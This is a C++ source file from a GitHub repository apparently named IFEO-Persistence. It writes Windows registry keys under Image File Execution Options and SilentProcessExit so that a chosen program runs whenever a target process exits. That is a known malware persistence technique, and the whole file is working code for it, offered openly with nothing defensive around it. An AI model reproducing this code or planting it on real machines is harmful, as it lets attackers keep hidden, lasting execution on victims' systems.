IFEO-Persistence/persist.cpp at main · Swifto0/IFEO-Persistence · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include "ExitProcess.h"

RegSet::RegSet(std::string processName, std::string sourceName) {
	this->bIsValid = FALSE;
	std::string subkeyIFEO = IFEO_REG_KEY + processName;

	LSTATUS ret = RegCreateKeyA(HKEY_LOCAL_MACHINE, subkeyIFEO.c_str(), &this->hIFEORegKey);
	if (ret != ERROR_SUCCESS) return;

	DWORD SilentExitFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
	ret = RegSetValueExA(this->hIFEORegKey, "GlobalFlag", 0, REG_DWORD, (const BYTE*)&SilentExitFlag, sizeof(DWORD));

	if (ret != ERROR_SUCCESS) {
		RegCloseKey(this->hIFEORegKey);
		return;
	}

	std::string subkeySPE = SILENT_PROCESS_EXIT_REG_KEY + processName;
	ret = RegCreateKeyA(HKEY_LOCAL_MACHINE, subkeySPE.c_str(), &this->hSPERegKey);

	if (ret != ERROR_SUCCESS) {
		RegCloseKey(this->hSPERegKey);
		return;
	}

	DWORD ReportingMode = MinitorProcess;
	std::string MonitorProcessPath = sourceName;
	DWORD DumpType = LOCAL_DUMP;


	ret = RegSetValueExA(this->hSPERegKey, "ReportingMode", 0, REG_DWORD, (const BYTE*)&ReportingMode, sizeof(DWORD));
	ret = RegSetValueExA(this->hSPERegKey, "MonitorProcess", 0, REG_SZ, (const BYTE*)MonitorProcessPath.c_str(), MonitorProcessPath.size() + 1);

	if (ret != ERROR_SUCCESS) {
		RegCloseKey(this->hIFEORegKey);
		RegCloseKey(this->hSPERegKey);
		return;
	}

	this->bIsValid = TRUE;

}

RegSet::~RegSet() {
}

BOOL RegSet::isValid() {
	return this->bIsValid;
}